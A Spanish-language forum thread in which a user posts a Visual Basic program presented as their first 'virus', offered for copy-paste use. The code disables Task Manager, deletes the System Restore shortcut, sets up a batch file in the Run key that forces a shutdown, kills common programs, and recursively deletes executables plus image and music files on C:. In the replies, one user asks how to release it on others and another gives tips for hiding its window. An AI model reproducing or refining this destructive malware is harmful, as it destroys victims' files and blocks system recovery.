Acabo de hacer mi primer virus en VB. Solo hay que copiarlo y pegarlo en el código, y ya esta listo:
------------------------------------
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS"
Shell "cmd.exe echo off>Win32.bat"
Shell "cmd.exe echo @echo off>>Win32.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Win32.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Win32.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Win32.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Win32.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Win32.bat"
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
End Sub
------------------------------------

Lo que hace es:
1.- Impedir recuperar el equipo
2.- Eliminar el Administrador de Tareas
3.- Crear un virus que apaga el PC a los 30 min de abrirlo y lo agrega al registro
4.- Se carga varios procesos, las imagenes y la música

Y aparte de lo q t a dixo EON, es vb no lo dudo, pero se puede considerar Batch 

Me sale un error. Cuando pongo el codigo me dice
"la instruccion no puede ir dentro del bloque de un metodo supone al final" es con respecto a:Private Sub Form_Load(). agradeceria su ayuda.
Ah y otra cosa como lo pruebo para no infectarme yo mismo y como lo largo al virus luego

para el caso de los directorios, un app path no serviria ??????

Pues yo te haría varias recomendaciones, por ejemplo, al abrir este ejecutable, se abrirá una ventana de la shell y ahi se podrá ver todo lo que hace, si pones por ejemplo:

Ya no aparecerá esa ventana. Otro punto es lo de cmd. No hace falta que lo pongas en cada instrucción, ni siquiera en la primera. Si pones por ejemplo:

Funcionaría igualmente. De todas formas, para ser el primero está bien, pero ya que lo has hecho desde vb lo pudes hacer mas "profesional"
Salu2